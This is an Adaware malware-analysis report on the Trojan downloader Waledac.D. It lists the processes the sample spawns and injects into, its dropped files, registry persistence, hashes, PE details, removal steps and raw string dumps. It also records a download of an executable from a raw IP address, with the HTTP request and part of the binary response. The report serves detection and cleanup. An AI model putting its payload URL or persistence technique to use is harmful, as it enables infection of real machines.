Trojan.Downloader.Waledac.D_5bdd81edfd – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

1.exe:320
2.exe:1140
2.exe:936
%original file name%.exe:1832

The Trojan injects its code into the following process(es):

1.exe:276
temp833429690.exe:628
temp833429690.exe:1884

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process 1.exe:320 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\egNt7n.E (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Km.ave1 (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\p5h0sG4d.xL (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20.Azp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Lo.bND (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\J7Urd.OcM (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xitFXX.0QA (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\f.f430 (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Vo0M1Tnq.tk (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Gh.PcM (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aQmxG.dzc (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\i.YxST (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IdFGXDDM.vqa (2109 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3uA.G (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Em.2Iu (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\NG42Y.gcds (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\JeQ3XoAO.aB (7 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\MzO7XR (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7vTbjC1t7 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bxAckOJDm (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xcUoFtC6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\70ZaM (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ix4K (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4ezn (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\a35 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\OmyCq (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Ki (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6GAxaSV (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\onYII2HDJ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xqSr (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\fLYaUFYe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\TT (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\FMo (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\q7eRzJk (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\fT (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2Fakcau4R (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0lD (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\edf6SnhnI (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\1ufi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\vTGBu (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VKdT (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\BfnyB (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\T52dRGU (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\oCdqvqu853 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ZgLTjkVYI2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DgSHevlVlv (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3G (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\lpXE005S (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\BK8Et (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ZpjmSJGy0N (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\zTM (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ggEeJe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nKsY3ZPDA (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\se (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\feHEpe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bZxcNyn (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\MIQ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RotcNkG (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\DZf (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\fmQ4Eh0 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\sE (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\N1BKEZ1 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Vp6EqHv5la (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\4vQkiiHL (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tiL (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Cn (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\NHP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aUU4Xj (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\6FaIMM5 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\dUHjlbIe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\D4lXRa (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\zPxQveFXOi (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\j4KY (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\pJbji (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\jUrvOJL (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\T2MHzTys00 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\QglBl21 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\kUFcYy (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsz1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\p2Pnsx (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\j2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Ks4okMsV (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\TGocE4Er (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uaLFDqRdVX (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\is (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\AxEy (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xs0JLI (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\PKYOMm6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\l53m6Sb0dC (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\vPKsxkAIT4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\zyUCS (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uJn6m (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\F3aPTZcBNS (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\pQf0r3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bL (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ZLe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\coauD (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\dxPH (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nmty (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ert1 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\jjZBqfMn1 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\zqXcJ8O (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\GmE1PTYuP4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\y66a (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\YRkq1d3lf2 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5Ob (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\LGvHu (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nOI21vHMN (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\orvhX6d (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\rPy4SqKjSU (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\uuKN1rhxmg (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\biXP (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\PmP0hHH (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\VYQ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\UZ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\yk6 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xYak (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\2ap (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cxEL3 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\g (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\c (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Tpyfn8 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\03YkxNQdEN (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\V (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\N (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\I (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\g4 (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\hSr1oIl (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\SNPCZ (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\T (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\KXdez (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\RGzIoKm (0 bytes)

The process 2.exe:1140 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\temp833429690.exe (5442 bytes)

The process %original file name%.exe:1832 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7ZipSfx.000\2.exe (2232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ZipSfx.000\1.exe (267 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\7ZipSfx.000\1.exe (0 bytes)

The process temp833429690.exe:1884 makes changes in the file system.

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp.exe (0 bytes)

Registry activity

The process 1.exe:320 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5C 11 37 4D 9C 7F 40 5A BC 20 52 D9 D9 AD B9 C4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process 1.exe:276 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "82 D1 E5 0F 47 C4 CE 18 DC E0 92 DF E4 B4 02 AA"

The Trojan deletes the following value(s) in system registry:

The Trojan disables automatic startup of the application by deleting the following autorun value:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"{D53EE03B-A6B3-2507-CA3C-8ED347A30FAD}"

The process 2.exe:1140 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "60 60 B9 A3 6C 46 2B 2E 9C 12 15 63 9B BA DE E4"

The process 2.exe:936 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "00 C3 F5 9C 91 98 94 5E 06 51 4F 8A 3C 1A B2 F8"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process %original file name%.exe:1832 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Favorites" = "%Documents and Settings%\All Users\Favorites"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Video" = ""
"NetHood" = "%Documents and Settings%\%current user%\NetHood"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7ZipSfx.000]
"2.exe" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Fonts" = "%WinDir%\Fonts"
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\7ZipSfx.000]
"1.exe" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"PrintHood" = "%Documents and Settings%\%current user%\PrintHood"
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Templates" = "%Documents and Settings%\%current user%\Templates"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Administrative Tools" = "%Documents and Settings%\All Users\Start Menu\Programs\Administrative Tools"
"Common Startup" = "%Documents and Settings%\All Users\Start Menu\Programs\Startup"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"
"Common Templates" = "%Documents and Settings%\All Users\Templates"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Administrative Tools" = ""
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"
"SendTo" = "%Documents and Settings%\%current user%\SendTo"
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "45 CC 07 F3 FD 7D 4A 67 8D BE A7 64 AD F1 CB F2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Music" = "%Documents and Settings%\%current user%\My Documents\My Music"
"Programs" = "%Documents and Settings%\%current user%\Start Menu\Programs"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CD Burning" = "%Documents and Settings%\%current user%\Local Settings\Application Data\Microsoft\CD Burning"
"Recent" = "%Documents and Settings%\%current user%\Recent"
"Favorites" = "%Documents and Settings%\%current user%\Favorites"
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process temp833429690.exe:628 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Startup" = "%Documents and Settings%\%current user%\Start Menu\Programs\Startup"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process temp833429690.exe:1884 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9F B3 31 4E BA 25 51 3F CA BF 24 4D 7C CF D0 27"

[HKCU\Software\Microsoft\Notepad]
"SizeCompletedValid" = "DHaYMI0 MYnwTFFnEQWBinIe7DaMdqA6WX9uOl/qjL5oPBUiWpegc3p/REqoavK7nQ=="

[HKCU\Software\Sysinternals\Process Monitor]
"UrlEnabledUse" = "80"

[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"EnableStationQueries" = "1"
"ComputerName" = "XP10"

[HKCU\Software\Microsoft\Notepad]
"InfoPlayedCurrent" = "00 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"DBSavedUse" = "A2 49 4D F3 D9 1E 9F 88 01 01 08 6A 00 03 4D 01"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Sysinternals\Process Monitor]
"FlagsModifiedValid" = "00 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Notepad]
"StyleModifiedPrev" = "80"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"PlatformCompressedValid" = "00 00 00 00 00 00 00 00"
"PersistentLocalizedName" = "CB 80 F9 7F 7A 7D 53 BA D8 F0 4D A6 B4 42 51 9A"

[HKCU\Software\Sysinternals\Process Monitor]
"DefaultCompressedRecord" = "CB 80 F9 7F 73 0B 79 B0 26 03 17 9F B9 B0 E0 00"

[HKCU\Software\Microsoft\Notepad]
"ActiveModifiedTheme" = "CB 80 F9 7F 87 F5 3E DD 6E 6A 0C 36 6E 26 D4 95"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"RecordEnabledCheck" = "80"

[HKCU\Software\Sysinternals\Process Monitor]
"RecordModifiedMax" = "DHaYMI0 MYnwTFFnEQWBinIe7DaMdqA6WX9uOl/qjL5oPBUiWpegc3p/REqoavK7nQ=="

[HKLM\System\CurrentControlSet\Services\nm\Parameters]
"UserName" = "%CurrentUserName%"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"LineLoadedQuick" = "DHaYMI0 MYnwTFFnEQWBinIe7DaMdqA6WX9uOl/qjL5oPBUiWpegc3p/REqoavK7nQ=="

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkUpdater" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp833429690.exe"

Dropped PE files

MD5	File path
89e2c872fd531805a948a0f5194268e3	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7ZipSfx.000\1.exe
1ce35b873322a8740273f11d47b6f2cb	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\7ZipSfx.000\2.exe
0ff2d70cfdc8095ea99ca2dabbec3cd7	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsf2.tmp\System.dll
3618a8da40249f97152c138dc6aaaf9b	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\temp833429690.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
1.exe:320
2.exe:1140
2.exe:936
%original file name%.exe:1832
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\egNt7n.E (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Km.ave1 (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\p5h0sG4d.xL (12 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\20.Azp (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Lo.bND (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\J7Urd.OcM (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\xitFXX.0QA (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\f.f430 (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Vo0M1Tnq.tk (8 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Gh.PcM (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aQmxG.dzc (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\i.YxST (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\IdFGXDDM.vqa (2109 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\3uA.G (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\Em.2Iu (5 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\NG42Y.gcds (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\JeQ3XoAO.aB (7 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\temp833429690.exe (5442 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ZipSfx.000\2.exe (2232 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7ZipSfx.000\1.exe (267 bytes)
Delete the following value(s) in the autorun key (How to Work with System Registry):
[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetworkUpdater" = "C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\temp833429690.exe"
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name: Oleg N. Scherbakov
Product Name: 7-Zip SFX
Product Version: 1.5.0.2712
Legal Copyright: Copyright (c) 2005-2012 Oleg N. Scherbakov
Legal Trademarks:
Original Filename: 7ZSfxMod_x86.exe
Internal Name: 7ZSfxMod
File Version: 1.5.0.2712
File Description: 7z Setup SFX (x86)
Comments:
Language: Chinese (Simplified, PRC)

Company Name: Oleg N. ScherbakovProduct Name: 7-Zip SFXProduct Version: 1.5.0.2712Legal Copyright: Copyright (c) 2005-2012 Oleg N. ScherbakovLegal Trademarks: Original Filename: 7ZSfxMod_x86.exeInternal Name: 7ZSfxModFile Version: 1.5.0.2712File Description: 7z Setup SFX (x86)Comments: Language: Chinese (Simplified, PRC)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	90560	90624	4.60383	1d37ff3973e86f2daef87da5d7c22126
.rdata	98304	14240	14336	3.91775	adaddb675fdb57e9640faf3871165e5b
.data	114688	11052	2048	2.7689	d0b6ea2963910327078ea9450fe4ff2f
.rsrc	126976	5376	5632	2.7577	b312a62eb62a476549bd06d904b5cda3

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 20
98e4c8a61847f0a4362c7a77d57500a3
c94cc87ae88fc3826506ce45c6f45554
32dd2f11f0a473a142d6fac3636df5b2
7c3edd373e7d2325d03c7c280fb6e581
7b2fd2e632df4d2762f005fbe9e2a717
acae58568ada62941e5eecd4cde4b04f
22276c9779aceee64f6942165908d2eb
f0d25863bf6a1d0ef1ab91e021bb57aa
e71da729f76ca9dce9a197f696e4bbf4
b93109b25797bc8b7a06ea9ad87f26ed
27be75b3ebef893ab3d285bb277bd9c2
d034efbe6cc6222878d3a2cc0232e918
cbf8f774fd8057320c31e9e6507deba1
3f2dfcea51b005abbaf308d4e5f89bb0
90cfe8c5fb797630ccac4353d2151d4c
afe415cdf37596bcec63831a0376d4bf
b4d09aae6a3fe8c8cdb31cdd64aaa594
91abf03fe90c312e6bb5393c17c86775
47628bfd44639ced4103fd882ff90790
cf0f63cf6e2bfb4dfdd8900d858bece0

Network Activity

URLs

URL	IP
hxxp://193.28.179.39/omydarl.exe

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /omydarl.exe HTTP/1.0

Host: 193.28.179.39

HTTP/1.1 200 OK

Server: nginx/1.2.6

Date: Thu, 15 Sep 2016 03:28:33 GMT

Content-Type: application/octet-stream

Content-Length: 1088486

Connection: close

Last-Modified: Thu, 15 Sep 2016 03:22:55 GMT

ETag: "57da140f-109be6"

Accept-Ranges: bytes

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Z.V............|'...;...$...;...$...;.......;.......;...;..C;...$...;...$...;..8=...;..Rich.;..........PE..L....,.W.....................P......f............. ..................................................................................................................................................................................................text....{.......................... ..`.rdaxa..............................@..@.data...A...........................@....idata..............................@....rsrc...............................@..@.reloc..=...........................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

..gFlUUE..H@. M......B...t..0F.A...q.5....F...Td&x .',..E_{....._.^...Y..%......G_P.M..W.....[........Rw......7..5...S8.i.t.......;.E....h............a......q.c0..v

.-C3.UUE.@.....b.}.od..5/.i1..9.. .....-.........=...........y......./.......&WT.Jw5L......L....n.....|..!.,7-.1.........0...]...IE.......K..K.S>.,....R@,\j-p.#U..t.9j...p....RY..c..p,g...^.....,uN.-]N!....2...%....cT4.pl..z-~{..2.......

..

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

1.exe_276:

.text

`.rdata

@.data

.reloc

a%FnQU

GetProcessHeap

KERNEL32.dll

.tex8

s$Ã»

Ãž'tA

L3]%XF

%S*$z_

%SWq1

h`KP%S

l.exd

cmdBjf

x2)8%D,(t

i.Ah~

ntdll.dll

setup.dat

1.exe_276_rwx_00400000_0000F000:

.text

`.rdata

@.data

.reloc

a%FnQU

GetProcessHeap

KERNEL32.dll

.tex8

s$Ã»

Ãž'tA

L3]%XF

%S*$z_

%SWq1

h`KP%S

l.exd

cmdBjf

x2)8%D,(t

i.Ah~

ntdll.dll

setup.dat

temp833429690.exe_628:

.text

`.rdaxa

@.data

.idata

.rsrc

@.reloc

ad %d bytes

n: %d, %d

\\\\\windows\\\\\\\\\\

er.ex

ound.wav

ND BUFFER returned: %d

